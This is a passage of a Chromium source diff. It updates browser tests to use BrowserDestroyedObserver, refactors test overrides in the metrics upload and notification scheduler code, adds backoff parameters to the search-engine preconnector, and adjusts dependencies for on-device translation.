   ASSERT_NO_FATAL_FAILURE(CreateStalledDownload(otr_browser));
   content::TestNavigationObserver navigation_observer(
@@ -1073,9 +1085,10 @@
                                                      ->GetActiveWebContents()
                                                      ->GetLastCommittedURL());
 
+  ui_test_utils::BrowserDestroyedObserver observer(otr_browser);
   TestBrowserCloseManager::AttemptClose(
       TestBrowserCloseManager::USER_CHOICE_USER_ALLOWS_CLOSE);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   EXPECT_EQ(0, DownloadCoreService::BlockingShutdownCountAllProfiles());
@@ -1106,8 +1119,9 @@
   ASSERT_EQ(0, num_downloads_blocking);
 
   {
+    ui_test_utils::BrowserDestroyedObserver observer(otr_browser);
     otr_browser->window()->Close();
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
 
   ASSERT_EQ(
@@ -1116,9 +1130,10 @@
   ASSERT_EQ(1, num_downloads_blocking);
 
   {
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     TestBrowserCloseManager::AttemptClose(
         TestBrowserCloseManager::USER_CHOICE_USER_ALLOWS_CLOSE);
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
 
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
@@ -1153,8 +1168,9 @@
 
   ASSERT_NO_FATAL_FAILURE(CreateStalledDownload(browser()));
   {
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     browser()->window()->Close();
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
 
   // When the shutdown is cancelled, the downloads page should be opened in a
@@ -1176,10 +1192,12 @@
                                      ->GetActiveWebContents()
                                      ->GetVisibleURL());
 
+  ui_test_utils::BrowserDestroyedObserver observer1(other_profile_browser);
+  ui_test_utils::BrowserDestroyedObserver observer2(opened_browser);
   TestBrowserCloseManager::AttemptClose(
       TestBrowserCloseManager::USER_CHOICE_USER_ALLOWS_CLOSE);
-  ui_test_utils::WaitForBrowserToClose();
-  ui_test_utils::WaitForBrowserToClose();
+  observer1.Wait();
+  observer2.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   if (browser_defaults::kBrowserAliveWithNoWindows) {
@@ -1205,10 +1223,11 @@
   cancel_observer.Wait();
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   TestBrowserCloseManager::AttemptClose(
       TestBrowserCloseManager::USER_CHOICE_USER_ALLOWS_CLOSE);
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -1254,8 +1273,9 @@
         KeepAliveOrigin::PANEL_VIEW, KeepAliveRestartOption::DISABLED);
     tmp_profile_keep_alive = std::make_unique<ScopedProfileKeepAlive>(
         profile, ProfileKeepAliveOrigin::kBrowserWindow);
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     chrome::CloseAllBrowsers();
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
@@ -1263,14 +1283,15 @@
 
   // Background mode should be resumed when a new browser window is opened.
   chrome::NewEmptyWindow(profile);
-  ui_test_utils::WaitForBrowserToOpen();
+  BrowserWindowInterface* new_browser = ui_test_utils::WaitForBrowserToOpen();
   tmp_keep_alive.reset();
   tmp_profile_keep_alive.reset();
   EXPECT_FALSE(IsBackgroundModeSuspended());
 
   // Background mode should not be suspended when quitting.
+  ui_test_utils::BrowserDestroyedObserver observer(new_browser);
   chrome::CloseAllBrowsersAndQuit();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   EXPECT_FALSE(IsBackgroundModeSuspended());
@@ -1281,8 +1302,9 @@
 IN_PROC_BROWSER_TEST_F(BrowserCloseManagerWithBackgroundModeBrowserTest,
                        DISABLED_CloseSingleBrowserWithBackgroundMode) {
   EXPECT_FALSE(IsBackgroundModeSuspended());
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   browser()->window()->Close();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   EXPECT_FALSE(IsBackgroundModeSuspended());
@@ -1298,8 +1320,9 @@
                                  KeepAliveRestartOption::DISABLED);
   ScopedProfileKeepAlive tmp_profile_keep_alive(
       browser()->profile(), ProfileKeepAliveOrigin::kBrowserWindow);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   browser()->window()->Close();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   EXPECT_FALSE(IsBackgroundModeSuspended());
diff --git a/chrome/browser/mac/auth_session_request_browsertest.mm b/chrome/browser/mac/auth_session_request_browsertest.mm
index e57fc93..98ec21a 100644
--- a/chrome/browser/mac/auth_session_request_browsertest.mm
+++ b/chrome/browser/mac/auth_session_request_browsertest.mm
@@ -169,11 +169,12 @@
 
   // Ask the app controller to stop handling our session request.
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   [session_handler cancelWebAuthenticationSessionRequest:request];
 
   // Expect the browser window to close.
 
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_EQ(start_browser_count, chrome::GetTotalBrowserCount());
 
   // Expect there to have been the user cancellation callback.
@@ -210,11 +211,12 @@
 
   // Simulate the user closing the window.
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   browser->GetWindow()->Close();
 
   // Expect the browser window to close.
 
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_EQ(start_browser_count, chrome::GetTotalBrowserCount());
 
   // Expect there to have been the user cancellation callback.
@@ -328,6 +330,7 @@
   // Simulate the user successfully logging in with a non-redirected load of
   // a URL with the expected scheme.
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   GURL success_url("makeitso://enterprise");
   browser->GetTabStripModel()->GetWebContentsAt(0)->GetController().LoadURL(
       success_url, content::Referrer(), ui::PAGE_TRANSITION_GENERATED,
@@ -335,7 +338,7 @@
 
   // Expect the browser window to close.
 
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_EQ(start_browser_count, chrome::GetTotalBrowserCount());
 
   // Expect there to have been the success callback.
@@ -390,13 +393,14 @@
   // Simulate the user successfully logging in with a redirected load of a URL
   // with the expected scheme.
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   GURL url = embedded_test_server.GetURL("/something");
   browser->GetTabStripModel()->GetWebContentsAt(0)->GetController().LoadURL(
       url, content::Referrer(), ui::PAGE_TRANSITION_GENERATED, std::string());
 
   // Expect the browser window to close.
 
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_EQ(start_browser_count, chrome::GetTotalBrowserCount());
 
   // Expect there to have been the success callback.
@@ -435,11 +439,12 @@
   // Expect a browser window to be opened.
 
   BrowserWindowInterface* const browser = ui_test_utils::WaitForBrowserToOpen();
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   EXPECT_EQ(start_browser_count + 1, chrome::GetTotalBrowserCount());
 
   // Expect the browser window to close.
 
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
   EXPECT_EQ(start_browser_count, chrome::GetTotalBrowserCount());
 
   // Expect there to have been the success callback.
diff --git a/chrome/browser/metrics/android/background_upload_task.cc b/chrome/browser/metrics/android/background_upload_task.cc
index 28f9a6b..f2055862 100644
--- a/chrome/browser/metrics/android/background_upload_task.cc
+++ b/chrome/browser/metrics/android/background_upload_task.cc
@@ -22,11 +22,17 @@
 namespace metrics {
 namespace {
 
-static base::NoDestructor<
-    base::flat_map<MetricsLogUploader::MetricServiceType, ReportingService*>>
-    g_reporting_service_overrides_for_testing;
+static auto& GetReportingServiceOverridesForTesting() {
+  static base::NoDestructor<
+      base::flat_map<MetricsLogUploader::MetricServiceType, ReportingService*>>
+      reporting_service_overrides_for_testing;
+  return *reporting_service_overrides_for_testing;
+}
 
-static base::NoDestructor<base::OnceClosure> g_task_done_callback_for_testing;
+static auto& GetTaskDoneCallbackForTesting() {
+  static base::NoDestructor<base::OnceClosure> task_done_callback_for_testing;
+  return *task_done_callback_for_testing;
+}
 
 MetricsLogUploader::MetricServiceType TaskIdToMetricServiceType(
     background_task::TaskIds task_id) {
@@ -50,7 +56,7 @@
   MetricsLogUploader::MetricServiceType service_type =
       TaskIdToMetricServiceType(task_id);
 
-  if (auto* value = base::FindOrNull(*g_reporting_service_overrides_for_testing,
+  if (auto* value = base::FindOrNull(GetReportingServiceOverridesForTesting(),
                                      service_type)) {
     return *value;
   }
@@ -71,21 +77,21 @@
 void BackgroundUploadTask::SetReportingServiceForTesting(
     MetricsLogUploader::MetricServiceType service_type,
     ReportingService* service) {
-  g_reporting_service_overrides_for_testing->insert_or_assign(service_type,
-                                                              service);
+  GetReportingServiceOverridesForTesting().insert_or_assign(service_type,
+                                                            service);
 }
 
 // static
 bool BackgroundUploadTask::UnsetReportingServiceForTesting(
     MetricsLogUploader::MetricServiceType service_type) {
-  return g_reporting_service_overrides_for_testing->erase(service_type);
+  return GetReportingServiceOverridesForTesting().erase(service_type);
 }
 
 // static
 void BackgroundUploadTask::SetTaskDoneCallbackForTesting(
     base::OnceClosure callback) {
-  CHECK(g_task_done_callback_for_testing->is_null());
-  *g_task_done_callback_for_testing = std::move(callback);
+  CHECK(GetTaskDoneCallbackForTesting().is_null());
+  GetTaskDoneCallbackForTesting() = std::move(callback);
 }
 
 void BackgroundUploadTask::OnStartTaskInReducedMode(
@@ -125,9 +131,9 @@
   // services already have their own rescheduling mechanisms.
   base::OnceClosure done_callback =
       base::BindOnce(std::move(callback), /*reschedule=*/false);
-  if (!g_task_done_callback_for_testing->is_null()) {
+  if (!GetTaskDoneCallbackForTesting().is_null()) {
     done_callback = std::move(done_callback)
-                        .Then(std::move(*g_task_done_callback_for_testing));
+                        .Then(std::move(GetTaskDoneCallbackForTesting()));
   }
 
   ReportingService* reporting_service = GetReportingService(task_id_);
diff --git a/chrome/browser/navigation_predictor/search_engine_preconnector.cc b/chrome/browser/navigation_predictor/search_engine_preconnector.cc
index 3e40b12..d15bcf4 100644
--- a/chrome/browser/navigation_predictor/search_engine_preconnector.cc
+++ b/chrome/browser/navigation_predictor/search_engine_preconnector.cc
@@ -64,6 +64,13 @@
   return features::kPreconnectBackoffBaseTime.Get();
 }
 
+base::TimeDelta GetPreconnectInitialRetryInterval() {
+  if (!base::FeatureList::IsEnabled(features::kAdjustPreconnectRetryInterval)) {
+    return base::TimeDelta();
+  }
+  return features::kPreconnectInitialRetryInterval.Get();
+}
+
 }  // namespace
 
 namespace features {
@@ -101,6 +108,21 @@
                    &kAdjustPreconnectRetryInterval,
                    "kPreconnectBackoffBaseTime",
                    base::Milliseconds(kPreconnectRetryDelayMs));
+BASE_FEATURE_PARAM(double,
+                   kPreconnectBackoffMultiplier,
+                   &kAdjustPreconnectRetryInterval,
+                   "kPreconnectBackoffMultiplier",
+                   2.0);
+BASE_FEATURE_PARAM(base::TimeDelta,
+                   kPreconnectNetworkChangeInterval,
+                   &kAdjustPreconnectRetryInterval,
+                   "kPreconnectNetworkChangeInterval",
+                   base::Milliseconds(kPreconnectRetryDelayMs));
+BASE_FEATURE_PARAM(base::TimeDelta,
+                   kPreconnectInitialRetryInterval,
+                   &kAdjustPreconnectRetryInterval,
+                   "kPreconnectInitialRetryInterval",
+                   base::Milliseconds(kPreconnectRetryDelayMs));
 }  // namespace features
 
 WebContentVisibilityManager::WebContentVisibilityManager()
@@ -305,13 +327,24 @@
   // Otherwise, we backoff `GetPreconnectRetryInterval()` (default 50 ms for
   // normal mode) * 2^n for the next preconnect attempt.
   return std::min(
-      GetPreconnectBackoffBaseTime() * CalculateBackoffMultiplier(),
+      GetPreconnectBackoffBaseTime() * CalculateBackoffMultiplier() +
+          GetPreconnectInitialRetryInterval(),
       base::Seconds(net::features::kMaxPreconnectRetryInterval.Get()));
 }
 
 int32_t SearchEnginePreconnector::CalculateBackoffMultiplier() const {
-  return 1 << std::min(static_cast<int>(consecutive_connection_failure_),
-                       std::numeric_limits<int32_t>::digits - 1);
+  if (!base::FeatureList::IsEnabled(features::kAdjustPreconnectRetryInterval)) {
+    return 1 << std::min(static_cast<int>(consecutive_connection_failure_),
+                         std::numeric_limits<int32_t>::digits - 1);
+  }
+
+  // The multiplier must be greater than 1.0, otherwise the back off will not
+  // work (will keep on decreasing).
+  CHECK_GT(features::kPreconnectBackoffMultiplier.Get(), 1.0);
+  double multiplier = std::pow(features::kPreconnectBackoffMultiplier.Get(),
+                               consecutive_connection_failure_ - 1);
+
+  return base::ClampedNumeric<int32_t>(multiplier);
 }
 
 bool SearchEnginePreconnector::IsShortSession() const {
@@ -411,8 +444,11 @@
     // not actually close a connection. It is OK to not reset the receiver here
     // since network event will be followed by `OnSessionClosed` or
     // `OnConnectionFailed` anyway when the connection is actually closed.
-    StartPreconnectWithDelay(GetPreconnectInterval(),
-                             PreconnectTriggerEvent::kNetworkEvent);
+    base::TimeDelta delay =
+        base::FeatureList::IsEnabled(features::kAdjustPreconnectRetryInterval)
+            ? features::kPreconnectNetworkChangeInterval.Get()
+            : GetPreconnectInterval();
+    StartPreconnectWithDelay(delay, PreconnectTriggerEvent::kNetworkEvent);
   }
 }
 
diff --git a/chrome/browser/navigation_predictor/search_engine_preconnector.h b/chrome/browser/navigation_predictor/search_engine_preconnector.h
index 000e5f5..8607182 100644
--- a/chrome/browser/navigation_predictor/search_engine_preconnector.h
+++ b/chrome/browser/navigation_predictor/search_engine_preconnector.h
@@ -42,6 +42,9 @@
 BASE_DECLARE_FEATURE(kAdjustPreconnectRetryInterval);
 BASE_DECLARE_FEATURE_PARAM(base::TimeDelta, kPreconnectRetryInterval);
 BASE_DECLARE_FEATURE_PARAM(base::TimeDelta, kPreconnectBackoffBaseTime);
+BASE_DECLARE_FEATURE_PARAM(double, kPreconnectBackoffMultiplier);
+BASE_DECLARE_FEATURE_PARAM(base::TimeDelta, kPreconnectNetworkChangeInterval);
+BASE_DECLARE_FEATURE_PARAM(base::TimeDelta, kPreconnectInitialRetryInterval);
 }  // namespace features
 
 // Class to keep track of the current visibility. It is used to determine if the
diff --git a/chrome/browser/navigation_predictor/search_engine_preconnector_browsertest.cc b/chrome/browser/navigation_predictor/search_engine_preconnector_browsertest.cc
index 3103ec3..46423e8 100644
--- a/chrome/browser/navigation_predictor/search_engine_preconnector_browsertest.cc
+++ b/chrome/browser/navigation_predictor/search_engine_preconnector_browsertest.cc
@@ -640,7 +640,8 @@
          {{"FallbackInLowPowerMode", "true"}}}};
     battery::OverrideIsBatterySaverEnabledForTesting(false);
 
-    std::vector<base::test::FeatureRef> disabled_features;
+    std::vector<base::test::FeatureRef> disabled_features{
+        {features::kAdjustPreconnectRetryInterval}};
 
     if (PreconnectFromKeyedServiceEnabled()) {
       enabled_features.push_back(
@@ -1202,3 +1203,57 @@
   EXPECT_FALSE(remote_1.is_bound());
   EXPECT_TRUE(remote_.is_bound());
 }
+
+class
+    SearchEnginePreconnectorWithAdjustPreconnectRetryIntervalFeatureBrowserTest
+    : public SearchEnginePreconnectorWithPreconnect2FeatureBrowserTest {
+ public:
+  constexpr static double kBackoffMultiplier = 2.0;
+  SearchEnginePreconnectorWithAdjustPreconnectRetryIntervalFeatureBrowserTest() {
+    feature_list_.Reset();
+    std::vector<base::test::FeatureRefAndParams> enabled_features{
+        {features::kPreconnectToSearch, {{"startup_delay_ms", "1000000"}}},
+        {net::features::kSearchEnginePreconnectInterval,
+         {{"preconnect_interval", "0"}}},
+        {net::features::kSearchEnginePreconnect2,
+         {{"FallbackInLowPowerMode", "true"}}},
+        {features::kAdjustPreconnectRetryInterval,
+         {{"kPreconnectBackoffMultiplier",
+           base::NumberToString(kBackoffMultiplier)}}}};
+
+    std::vector<base::test::FeatureRef> disabled_features;
+
+    if (PreconnectFromKeyedServiceEnabled()) {
+      enabled_features.push_back(
+          {features::kPreconnectFromKeyedService, {{"run_on_otr", "false"}}});
+    } else {
+      disabled_features.emplace_back(features::kPreconnectFromKeyedService);
+    }
+
+    feature_list_.InitWithFeaturesAndParameters(enabled_features,
+                                                disabled_features);
+  }
+};
+
+INSTANTIATE_TEST_SUITE_P(
+    All,
+    SearchEnginePreconnectorWithAdjustPreconnectRetryIntervalFeatureBrowserTest,
+    ::testing::Bool());
+
+IN_PROC_BROWSER_TEST_P(
+    SearchEnginePreconnectorWithAdjustPreconnectRetryIntervalFeatureBrowserTest,
+    CalculateBackoffMultiplier) {
+  GetSearchEnginePreconnector()->StopPreconnecting();
+
+  for (int failures = 0; base::ClampedNumeric<int32_t>(
+                             std::pow(kBackoffMultiplier, failures - 1)) <
+                         std::numeric_limits<int32_t>::max();
+       failures++) {
+    GetSearchEnginePreconnector()->SetConsecutiveFailureForTesting(failures);
+    ASSERT_EQ(failures, GetSearchEnginePreconnector()
+                            ->GetConsecutiveConnectionFailureForTesting());
+    ASSERT_EQ(base::ClampedNumeric<int32_t>(
+                  std::pow(kBackoffMultiplier, failures - 1)),
+              GetSearchEnginePreconnector()->CalculateBackoffMultiplier());
+  }
+}
diff --git a/chrome/browser/notifications/scheduler/internal/scheduled_notification_manager.cc b/chrome/browser/notifications/scheduler/internal/scheduled_notification_manager.cc
index 503210d4..ac267bb4 100644
--- a/chrome/browser/notifications/scheduler/internal/scheduled_notification_manager.cc
+++ b/chrome/browser/notifications/scheduler/internal/scheduled_notification_manager.cc
@@ -6,10 +6,10 @@
 
 #include <algorithm>
 #include <map>
-#include <unordered_set>
 #include <utility>
 #include <vector>
 
+#include "base/containers/enum_set.h"
 #include "base/functional/bind.h"
 #include "base/functional/callback_helpers.h"
 #include "base/memory/raw_ref.h"
@@ -22,6 +22,7 @@
 #include "chrome/browser/notifications/scheduler/public/notification_params.h"
 #include "chrome/browser/notifications/scheduler/public/notification_scheduler_constant.h"
 #include "chrome/grit/generated_resources.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_set.h"
 #include "ui/base/l10n/l10n_util.h"
 
 namespace notifications {
@@ -48,14 +49,18 @@
  public:
   using NotificationStore = std::unique_ptr<CollectionStore<NotificationEntry>>;
 
-  ScheduledNotificationManagerImpl(
-      NotificationStore notification_store,
-      std::unique_ptr<IconStore> icon_store,
-      const std::vector<SchedulerClientType>& clients,
-      const SchedulerConfig& config)
+  using SchedulerClientTypeEnumSet =
+      base::EnumSet<SchedulerClientType,
+                    SchedulerClientType::kMinValue,
+                    SchedulerClientType::kMaxValue>;
+
+  ScheduledNotificationManagerImpl(NotificationStore notification_store,
+                                   std::unique_ptr<IconStore> icon_store,
+                                   const SchedulerClientTypeEnumSet clients,
+                                   const SchedulerConfig& config)
       : notification_store_(std::move(notification_store)),
         icon_store_(std::move(icon_store)),
-        clients_(clients.begin(), clients.end()),
+        clients_(clients),
         config_(config) {}
   ScheduledNotificationManagerImpl(const ScheduledNotificationManagerImpl&) =
       delete;
@@ -80,7 +85,7 @@
     stats::LogNotificationLifeCycleEvent(
         stats::NotificationLifeCycleEvent::kScheduleRequest, type);
 
-    if (!clients_.count(type) ||
+    if (!clients_.Has(type) ||
         (notifications_.count(type) && notifications_[type].count(guid))) {
       // TODO(xingliu): Report duplicate guid failure.
       std::move(callback).Run(false);
@@ -212,7 +217,7 @@
 
   void FilterIconEntries(
       std::unique_ptr<std::vector<std::string>> uuids_from_icon_store) {
-    std::unordered_set<std::string> icons_uuid_from_entries;
+    absl::flat_hash_set<std::string> icons_uuid_from_entries;
     for (const auto& client_pair : notifications_) {
       for (const auto& notification : client_pair.second) {
         for (const auto& icon : notification.second->icons_uuid) {
@@ -238,7 +243,7 @@
       bool expired = entry->create_time + config_->notification_expiration <=
                      base::Time::Now();
       bool valid = ValidateNotificationEntry(*entry);
-      bool deprecated_client = !clients_.contains(entry->type);
+      bool deprecated_client = !clients_.Has(entry->type);
       if (expired || deprecated_client || !valid) {
         DeleteNotification(*entry, false /*should_delete_in_memory*/);
       } else {
@@ -407,7 +412,7 @@
 
   NotificationStore notification_store_;
   std::unique_ptr<IconStore> icon_store_;
-  const std::unordered_set<SchedulerClientType> clients_;
+  const SchedulerClientTypeEnumSet clients_;
   std::map<SchedulerClientType,
            std::map<std::string, std::unique_ptr<NotificationEntry>>>
       notifications_;
@@ -425,8 +430,13 @@
     std::unique_ptr<IconStore> icon_store,
     const std::vector<SchedulerClientType>& clients,
     const SchedulerConfig& config) {
+  ScheduledNotificationManagerImpl::SchedulerClientTypeEnumSet clients_set;
+  for (const auto& client : clients) {
+    clients_set.Put(client);
+  }
   return std::make_unique<ScheduledNotificationManagerImpl>(
-      std::move(notification_store), std::move(icon_store), clients, config);
+      std::move(notification_store), std::move(icon_store), clients_set,
+      config);
 }
 
 ScheduledNotificationManager::ScheduledNotificationManager() = default;
diff --git a/chrome/browser/notifications/scheduler/public/notification_scheduler_types.h b/chrome/browser/notifications/scheduler/public/notification_scheduler_types.h
index 4de61ee8..fba9aa5 100644
--- a/chrome/browser/notifications/scheduler/public/notification_scheduler_types.h
+++ b/chrome/browser/notifications/scheduler/public/notification_scheduler_types.h
@@ -24,6 +24,8 @@
   kTest2 = -2,
   kTest3 = -3,
 
+  kMinValue = kTest3,
+
   // Default value of client type.
   kUnknown = 0,
   // Client used in chrome://notifications-internals for debugging.
diff --git a/chrome/browser/ntp_customization/java/res/layout/ntp_customization_drag_handle_bar.xml b/chrome/browser/ntp_customization/java/res/layout/ntp_customization_drag_handle_bar.xml
index 3bf81075..a7d3c94 100644
--- a/chrome/browser/ntp_customization/java/res/layout/ntp_customization_drag_handle_bar.xml
+++ b/chrome/browser/ntp_customization/java/res/layout/ntp_customization_drag_handle_bar.xml
@@ -10,7 +10,7 @@
     <ImageView
         android:id="@+id/drag_handle_bar"
         android:layout_height="@dimen/default_browser_bottom_sheet_drag_handel_bar_height"
-        android:layout_width="@dimen/default_browser_bottom_sheet_drag_handel_bar_width"
+        android:layout_width="@dimen/default_browser_bottom_sheet_drag_handle_bar_width"
         android:layout_marginVertical="@dimen/default_browser_bottom_sheet_drag_handel_bar_margin_vertical"
         android:importantForAccessibility="no"
         android:src="@drawable/drag_handlebar"
diff --git a/chrome/browser/ntp_customization/java/src/org/chromium/chrome/browser/ntp_customization/theme/theme_collections/NtpSingleThemeCollectionCoordinator.java b/chrome/browser/ntp_customization/java/src/org/chromium/chrome/browser/ntp_customization/theme/theme_collections/NtpSingleThemeCollectionCoordinator.java
index 4e1d18c5..a9a4f88 100644
--- a/chrome/browser/ntp_customization/java/src/org/chromium/chrome/browser/ntp_customization/theme/theme_collections/NtpSingleThemeCollectionCoordinator.java
+++ b/chrome/browser/ntp_customization/java/src/org/chromium/chrome/browser/ntp_customization/theme/theme_collections/NtpSingleThemeCollectionCoordinator.java
@@ -135,6 +135,8 @@
         mSingleThemeCollectionBottomSheetRecyclerView =
                 mNtpSingleThemeCollectionBottomSheetView.findViewById(
                         R.id.single_theme_collection_recycler_view);
+        // Disable the animation to prevent a crash when clicking the images rapidly.
+        mSingleThemeCollectionBottomSheetRecyclerView.setItemAnimator(null);
         GridLayoutManager gridLayoutManager =
                 new GridLayoutManager(context, RECYCLE_VIEW_SPAN_COUNT);
         mSingleThemeCollectionBottomSheetRecyclerView.setLayoutManager(gridLayoutManager);
diff --git a/chrome/browser/on_device_translation/BUILD.gn b/chrome/browser/on_device_translation/BUILD.gn
index 586c254..0afefe30 100644
--- a/chrome/browser/on_device_translation/BUILD.gn
+++ b/chrome/browser/on_device_translation/BUILD.gn
@@ -19,18 +19,18 @@
     "translation_manager_impl.cc",
     "translation_manager_impl.h",
   ]
-  public_deps = [ "//components/on_device_translation:public" ]
+  public_deps = [
+    "//chrome/browser:browser_public_dependencies",
+    "//components/on_device_translation:public",
+  ]
   deps = [
     "//base",
     "//chrome/browser:browser_process",
-    "//chrome/browser/ai:ai_model_download_progress_manager_components",
     "//chrome/browser/content_settings",
     "//chrome/browser/content_settings:content_settings_factory",
     "//components/component_updater",
     "//components/content_settings/core/browser",
-    "//components/crx_file",
     "//components/keyed_service/content",
-    "//components/on_device_ai:ai_crx_component",
     "//components/on_device_translation",
     "//components/on_device_translation/public/mojom",
     "//components/on_device_translation/service:on_device_translation_service",
diff --git a/chrome/browser/on_device_translation/DEPS b/chrome/browser/on_device_translation/DEPS
index 8e348a1..bea85456 100644
--- a/chrome/browser/on_device_translation/DEPS
+++ b/chrome/browser/on_device_translation/DEPS
@@ -8,5 +8,4 @@
 }
 include_rules = [
   "+components/on_device_translation",
-  "+components/on_device_ai",
-]
\ No newline at end of file
+]
diff --git a/chrome/browser/on_device_translation/installer_impl.cc b/chrome/browser/on_device_translation/installer_impl.cc
index ecd4bfb..6ac9c2c 100644
--- a/chrome/browser/on_device_translation/installer_impl.cc
+++ b/chrome/browser/on_device_translation/installer_impl.cc
@@ -104,10 +104,6 @@
 
 void OnDeviceTranslationInstallerImpl::InstallLanguagePack(
     LanguagePackKey language_pack) {
-  if (!IsInit()) {
-    return;
-  }
-
   // Registers the TranslateKit language pack component.
   component_updater::RegisterTranslateKitLanguagePackComponent(
       g_browser_process->component_updater(), g_browser_process->local_state(),
diff --git a/chrome/browser/on_device_translation/on_device_translation_browsertest.cc b/chrome/browser/on_device_translation/on_device_translation_browsertest.cc
index 901332a..6ff2019 100644
--- a/chrome/browser/on_device_translation/on_device_translation_browsertest.cc
+++ b/chrome/browser/on_device_translation/on_device_translation_browsertest.cc
@@ -21,7 +21,6 @@
 #include "base/threading/thread_restrictions.h"
 #include "base/time/time.h"
 #include "build/build_config.h"
-#include "chrome/browser/ai/ai_test_utils.h"
 #include "chrome/browser/browser_process.h"
 #include "chrome/browser/browsing_data/chrome_browsing_data_remover_constants.h"
 #include "chrome/browser/component_updater/translate_kit_component_installer.h"
@@ -38,7 +37,6 @@
 #include "chrome/test/base/ui_test_utils.h"
 #include "components/crx_file/id_util.h"
 #include "components/language/core/browser/pref_names.h"
-#include "components/on_device_ai/test_support/fake_component.h"
 #include "components/on_device_translation/component_manager.h"
 #include "components/on_device_translation/constants.h"
 #include "components/on_device_translation/features.h"
@@ -47,6 +45,7 @@
 #include "components/on_device_translation/service/test/test_util.h"
 #include "components/on_device_translation/service_controller.h"
 #include "components/on_device_translation/service_controller_manager.h"
+#include "components/optimization_guide/core/model_execution/test/fake_component_update_service.h"
 #include "components/prefs/pref_service.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/render_process_host.h"
@@ -63,6 +62,8 @@
 using ::blink::mojom::CanCreateTranslatorResult;
 using ::blink::mojom::TranslatorLanguageCode;
 using ::content::JsReplace;
+using ::optimization_guide::FakeComponent;
+using ::optimization_guide::FakeComponentUpdateService;
 using ::testing::_;
 
 namespace on_device_translation {
@@ -983,12 +984,14 @@
         &component_update_service_);
 
     // `GetComponentDetails` should be called by the
-    // `AIModelDownloadProgressManager` to filter out existing downloads.
+    // `OnDeviceModelDownloadProgressManager` to filter out existing
+    // downloads.
     EXPECT_CALL(component_update_service_, GetComponentDetails(_, _))
         .WillRepeatedly(
             [&](const std::string& id, component_updater::CrxUpdateItem* item) {
               // The `total_bytes` doesn't matter since
-              // `AIModelDownloadProgressManager` doesn't check it for now.
+              // `OnDeviceModelDownloadProgressManager` doesn't check it for
+              // now.
               *item = GetComponentForTranslateKit(100).CreateUpdateItem(
                   update_client::ComponentState::kNew, 0);
               return true;
@@ -1042,16 +1045,14 @@
     run_loop_language_pack.Run();
   }
 
-  on_device_ai::FakeComponent GetComponentForTranslateKit(
-      uint64_t total_bytes) {
+  FakeComponent GetComponentForTranslateKit(uint64_t total_bytes) {
     return {component_updater::TranslateKitComponentInstallerPolicy::
                 GetExtensionId(),
             total_bytes};
   }
 
-  on_device_ai::FakeComponent GetComponentForLanguagePack(
-      LanguagePackKey language_pack_key,
-      uint64_t total_bytes) {
+  FakeComponent GetComponentForLanguagePack(LanguagePackKey language_pack_key,
+                                            uint64_t total_bytes) {
     const LanguagePackComponentConfig& config =
         GetLanguagePackComponentConfig(language_pack_key);
     std::string id =
@@ -1059,18 +1060,17 @@
     return {id, total_bytes};
   }
 
-  void SendUpdate(on_device_ai::FakeComponent component,
-                  uint64_t downloaded_bytes) {
+  void SendUpdate(FakeComponent component, uint64_t downloaded_bytes) {
     component_update_service_.SendUpdate(component.CreateUpdateItem(
         update_client::ComponentState::kDownloading, downloaded_bytes));
   }
 
   double NormalizedProgress(uint64_t downloaded_bytes, uint64_t total_bytes) {
-    // `on_device_ai::NormalizeModelDownloadProgress` normalizes to 0 - 0x10000
-    // range. We divide it by 0x10000 (65536) again to get it in the 0.0 - 1.0
-    // range.
-    return on_device_ai::NormalizeModelDownloadProgress(downloaded_bytes,
-                                                        total_bytes) /
+    // `optimization_guide::NormalizeModelDownloadProgress` normalizes to 0 -
+    // 0x10000 range. We divide it by 0x10000 (65536) again to get it in the 0.0
+    // - 1.0 range.
